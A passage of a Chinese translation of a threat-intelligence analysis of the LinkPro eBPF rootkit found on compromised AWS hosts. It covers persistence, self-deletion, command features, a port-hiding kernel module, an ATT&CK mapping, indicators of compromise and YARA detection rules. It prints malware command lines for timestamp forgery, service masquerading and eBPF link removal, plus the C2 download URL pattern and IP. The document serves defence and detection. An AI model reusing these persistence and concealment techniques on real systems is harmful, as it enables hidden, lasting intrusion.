NoNewPrivileges=true4. 将 /usr/lib/.system/.tmp~data.resolveld和/etc/systemd/system/systemd-resolveld.service的文件修改时间戳伪造为与/etc/passwd文件相同:sh -c touch -d "$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')" %s 2>/dev/null。5. 启用 systemd-resolveld服务,使其在系统启动时自动运行:systemctl enable systemd-resolveld。
3.6 自删除功能
在程序被中断时(接收到 SIGHUP、SIGINT、SIGTERM 信号),LinkPro 会卸载其程序:
• Knock模块:• 通过执行 tc命令删除tc_egresseBPF 链接:• tc filter del dev eth0 egress(注:在此示例中,eth0 是具有互联网访问权限的接口)• tc qdisc del dev eth0 clsact• 删除 xdp_ingresseBPF 链接• 删除 /sys/fs/bpf/fire目录• Hide模块:删除 eBPF 链接、映射和程序(跟踪点(Tracepoints)、内核返回探针(Kretprobe))• 删除 /etc/libld.so并恢复配置文件/etc/ld.so.preload的初始内容
3.7 命令功能
一旦与操作者的通信稳定建立,LinkPro 提供以下命令:
terminal_createterminal_resize; terminal_input; terminal_close | /bin/bash(使用 github.com/creack/pty 模块[34])。terminal_input 子命令允许与创建的 bash 进程进行交互。 |
shell | /bin/sh -c [cmd] |
file_manageread_file; list_files; write_file; create_file; delete_file; upload_file; create_folder; get_current_dir; delete_files_batch | upload_file 子命令允许从服务器下载文件到受感染主机。下载使用 HTTP 协议,从形如 http://[server_address]:[port]/api/client/file/download?path=[server_file_path] 的 URL 下载到命令中 client_save_path 指定的本地路径。 |
download_manage | |
reverse_connectclose_reverse_connect | |
reverse_http_listenerstart; stop; status | reverse 模式建立的服务相同。端口和加密密钥(XOR)在命令中指明。 |
set_sleep_config | sleep_time 和 jitter_time 参数。 |
3.8 arp_diag.ko 内核模块
9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 | |
内嵌在 LinkPro 程序中的 arp_diag.ko 内核模块从未被加载。在受感染主机上也未观测到该模块的加载。其版本信息如下:
version=1.21
description=UNIX socket monitoring via ARP_DIAG
author=Linux
license=GPL
srcversion=AB501E218EDD1F4EA00642E
depends=
retpoline=Y
name=arp_diag
vermagic=6.8.0-1021-aws SMP mod_unload modversions该模块注册了四个内核探针,分别附着到内核函数 tcp4_seq_show、udp4_seq_show、tcp6_seq_show 和 udp6_seq_show 上。这些系统调用提供了 /proc/net/tcp、/proc/net/tcp6、/proc/net/udp 和 /proc/net/udp6 文件中指定的信息。arp_diag 实现的函数旨在隐藏包含端口 2233 的记录。
四、结论
Synacktiv CSIRT 在受入侵的 AWS 基础设施上发现的 LinkPro rootkit,其分析结果证实并深化了利用 eBPF 技术的威胁趋势。继 BPFDoor 或 Symbiote 等恶意软件之后,LinkPro 通过在多个层级结合多种隐匿技术,代表了此类后门在复杂程度上迈出了新的一步。
为实现内核级的隐藏,该 rootkit 使用了 tracepoint 和 kretprobe 类型的 eBPF 程序来拦截 getdents(文件隐藏)和 sys_bpf(隐藏自身 BPF 程序)系统调用。值得注意的是,此技术需要特定的内核配置(CONFIG_BPF_KPROBE_OVERRIDE)。如果该配置不存在,LinkPro 会回退到备用方法,即通过 /etc/ld.so.preload 文件加载恶意库,以确保在用户空间隐藏其活动。
LinkPro 的另一个显著特点是其操作灵活性,既能够以被动监听模式运行,也能够直接联系命令与控制(C2)服务器。
• 在监听模式( reverse)下,它部署了一个基于 XDP(ingress)和 TC(egress)程序的高级网络处理链,其实现明显借鉴了开源项目 eBPFeXPLOIT。该机制允许其将"魔术数据包(magic packet)"重定向到其内部监听端口并隐藏通信。• 在直连模式( forward)下,即直接连接 C2 时,则不需要这种重定向,因此不会使用该机制。
一旦通信建立,LinkPro 会向操作者提供高级功能,特别是能够作为横向移动的支点。
虽然无法正式归因于某个特定的威胁行为者,但此次攻击的目标似乎是经济利益。总而言之,LinkPro 是恶意软件自适应利用 eBPF 的一个具体实例。内核 hooks、用户空间备用机制(ld.so.preload)以及不同通信模式的结合,展示了一种专门为适应不同系统配置和规避检测而构思的设计。
在此次分析过程中创建的 YARA 规则维护在 synacktiv-rules[36] Github 代码库中。
五、MITRE ATT&CK 框架映射 — LinkPro
| 命令和脚本解释器:Unix Shell (T1059.004) | /bin/sh -c(shell 命令)执行命令,并提供带有 /bin/bash完整的交互式 shell(terminal_create 命令)。 | |
| 创建或修改系统进程:Systemd 服务 (T1543.002) | /etc/systemd/system/systemd-resolveld.service)以实现开机自启动。 | |
| 劫持执行流程:动态链接器劫持 (T1574.006) | /etc/ld.so.preload 作为替代/备用的隐藏机制。 | |
| 伪装:匹配合法名称或位置 (T1036.005) | /usr/lib/.system/.tmp~data.resolveld 和 systemd-resolveld.service 伪装成 systemd-resolved。 | |
| 痕迹清除:时间戳篡改 (T1070.006) | /etc/passwd)。 | |
| Rootkit (T1014) | getdents 和 sys_bpf 使用 eBPF hooks 来隐藏其痕迹。 | |
| 文件或信息混淆 (T1027) | download_manage 泄露的数据经过 Base64 编码。C2 流量经过 XOR 加密。 | |
| 削弱防御:修改系统防火墙 (T1562.007) | ||
| 应用层协议 (T1071) | ||
| 流量信号:端口敲门 (T1205.002) | ||
| 代理:外部代理 (T1090.002) | reverse_connect | |
| 工具传入 (T1105) | upload_file | |
| 通过 C2 通道窃取 (T1041) | download_manage | |
| 文件和目录发现 (T1083) | file_managelist_files、get_current_dir)用于探查受害者的文件系统。 |
六、入侵指标 (IoCs) 表 — LinkPro
/api/client/file/download?path=... | upload_file | |
/reverse/handshake/reverse/heartbeat ; /reverse/operation | reverse 模式下用于接收操作者命令的 URL。 | |
18.199.101.111 | forward 模式)的目的地 IP 地址。 | |
/etc/systemd/system/systemd-resolveld.service | systemd-resolved 服务的恶意服务文件(注意末尾多了一个"d")。 | |
/root/.tmp~data.ok | ||
/usr/lib/.system/.tmp~data.resolveld | ||
/etc/libld.so | /etc/ld.so.preload,将其用作隐藏机制。 | |
systemd-resolveld | systemd-resolved 服务混淆。 | |
conf_map | ||
knock_map | ||
main_ebpf_progs | ||
pids_to_hide_map |
七、YARA 规则
import "elf"
ruleMAL_LinkPro_ELF_Rootkit_Golang_Oct25 {
meta:
description="Detects LinkPro rootkit"
author="CSIRT Synacktiv, Théo Letailleur"
date="2025-10-13"
reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash="1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964"
hash="d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b"
strings:
$linkp_mod="link-pro/link-client"fullwordascii
$linkp_embed_libld="resources/libld.so"fullwordascii
$linkp_embed_lkm="resources/arp_diag.ko"fullwordascii
$linkp_ebpf_hide="hidePrograms"fullwordascii
$linkp_ebpf_knock="knock_prog"fullwordascii
$go_pty="creack/pty"fullwordascii
$go_socks="resocks"fullwordascii
condition:
uint32(0)==0x464c457fandfilesize>5MBandelf.type==elf.ET_EXEC
and2of($linkp*)
and1of($go*)
}import "elf"
ruleMAL_LinkPro_Hide_ELF_BPF_Oct25 {
meta:
description="Detects LinkPro Hide eBPF module"
author="CSIRT Synacktiv, Théo Letailleur"
date="2025-10-13"
reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash="b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164"
strings:
$hook_getdents="/syscalls/sys_enter_getdents"fullwordascii
$hook_getdentsret="/syscalls/sys_exit_getdents"fullwordascii
$hook_bpf="/syscalls/sys_enter_bpf"fullwordascii
$hook_bpfret="sys_bpf"fullwordascii
$str1="BPF cmd: %d, start_id: %u"fullwordascii
$str2="HIDING NEXT_ID: %u"fullwordascii
$str3=".tmp~data"fullwordascii
condition:
uint32(0)==0x464c457fanduint16(0x12)==0x00f7//BPFMachine
andelf.type==elf.ET_REL
and2of($hook*)
and1of($str*)
}import "elf"
ruleMAL_LinkPro_Knock_ELF_BPF_Oct25 {
meta:
description="Detects LinkPro Knock eBPF module"
author="CSIRT Synacktiv, Théo Letailleur"
date="2025-10-13"
reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash="364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3"
strings:
$hook_xdp="xdp_ingress"fullwordascii
$hook_tc_egress="tc_egress"fullwordascii
$str1="[DBG-XDP]"fullwordascii
$str2="[DBG-9999]"fullwordascii
$str3="[TC-MISS]"fullwordascii
$str4="[TC] REWRITE_BACK"fullwordascii
condition:
uint32(0)==0x464c457fanduint16(0x12)==0x00f7//BPFMachine
andelf.type==elf.ET_REL
and1of($hook*)
and2of($str*)
}import "elf"
ruleMAL_LinkPro_LdPreload_ELF_SO_Oct25 {
meta:
description="Detects LinkPro ld preload module"
author="CSIRT Synacktiv, Théo Letailleur"
date="2025-10-13"
reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash="b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7"
strings:
$hook_getdents="getdents"fullwordascii
$hook_open="open"fullwordascii
$hook_readdir="readdir"fullwordascii
$hook_kill="kill"fullwordascii
$linkpro=".tmp~data"fullwordascii
$file_net="/proc/net"fullwordascii
$file_persist=".system"fullwordascii
$file_cron="sshids"fullwordascii
condition:
uint32(0)==0x464c457fandfilesize<500Koandelf.type==elf.ET_DYN
and$linkpro
and2of($hook*)
and2of($file*)
}import "elf"
ruleMAL_LinkPro_arpdiag_ELF_KO_Oct25 {
meta:
description="Detects LinkPro LKM module"
author="CSIRT Synacktiv, Théo Letailleur"
date="2025-10-13"
reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash="9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075"
strings:
$hook_udp6="hook_udp6_seq_show"fullwordascii
$hook_udp4="hook_udp4_seq_show"fullwordascii
$hook_tcp6="hook_tcp6_seq_show"fullwordascii
$hook_tcp4="hook_tcp4_seq_show"fullwordascii
$ftrace="ftrace_thunk"fullwordascii
$hide_entry="hide_port_init"fullwordascii
$hide_exit="hide_port_exit"fullwordascii
condition:
uint32(0)==0x464c457fandfilesize<2Moandelf.type==elf.ET_REL
and$ftrace
and2of($hook*)
and1of($hide*)
}import "elf"
ruleMAL_vGet_ELF_Downloader_Rust_Oct25 {
meta:
description="Detects vGet Downloader, observed to load vShell"
author="CSIRT Synacktiv, Théo Letailleur"
date="2025-10-13"
reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash="0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb"
hash="caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2"
strings:
$hc_rust="RUST_BACKTRACE"fullwordascii
$hc_symlink="/tmp/.del"fullwordascii
$hc_proxy="Proxy-Authorization:"fullwordascii
$lc_crypto_chacha="expand 32-byte k"fullwordascii
$lc_pdfuser="cosmanking"fullwordascii
$lc_local="127.0.0.1"fullwordascii
condition:
uint32(0)==0x464c457fandfilesize>500KBandfilesize<3MB
andelf.type==elf.ET_DYN
andallof($hc*)
and1of($lc*)
}引用链接
[1] 《LinkPro: eBPF rootkit analysis》:https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis[2]BPFDoor:https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controller.html[3]Symbiote:https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat[4]J-magic:https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/[5]ebpfkit:https://github.com/Gui774ume/ebpfkit[6]eBPFexPLOIT:https://github.com/bfengj/eBPFeXPLOIT/tree/main[7]CVE-2024–23897:https://www.jenkins.io/security/advisory/2024-01-24/[8]Amazon EKS:https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html[9]hub.docker.com:https://hub.docker.com/[10]vnt:https://github.com/vnt-dev/vnt[11]vnt:https://github.com/vnt-dev/vnt[12]**vShell**:https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/[13]UNC5174:https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell[14]SNOWLIGHT:https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight[15]link-pro:https://github.com/link-pro[16]XDP:https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/[17]TC:https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/[18]T1574.006:https://attack.mitre.org/techniques/T1574/006/[19]Tracepoint 类型的 eBPF 程序:https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/[20]Kprobes:https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kprobe-work[21]`ebpf-go` 模块:https://ebpf-go.dev/[22]maps:https://docs.ebpf.io/linux/concepts/maps/[23]programs:https://docs.ebpf.io/linux/program-type/[24]创建 BPF 链接:https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/[25]`dirent` 结构:https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html[26]项目:https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691[27]`bpftool`:https://bpftool.dev/[28]EBPFeXPLOIT 项目:https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339[29]`CONFIG_BPF_KPROBE_OVERRIDE` 配置选项:https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html[30]Amazon Linux:https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_override_return-support[31]XDP:https://www.datadoghq.com/blog/xdp-intro/[32]`pinned objects(固定对象)`:https://docs.ebpf.io/linux/concepts/pinning/[33]BPF 链接:https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink[34]`github.com/creack/pty` 模块:https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis#footnote30_qzl1zn2[35]resocks 模块:https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis#footnote31_qfdlxn8[36]synacktiv-rules:https://github.com/synacktiv/synacktiv-rules/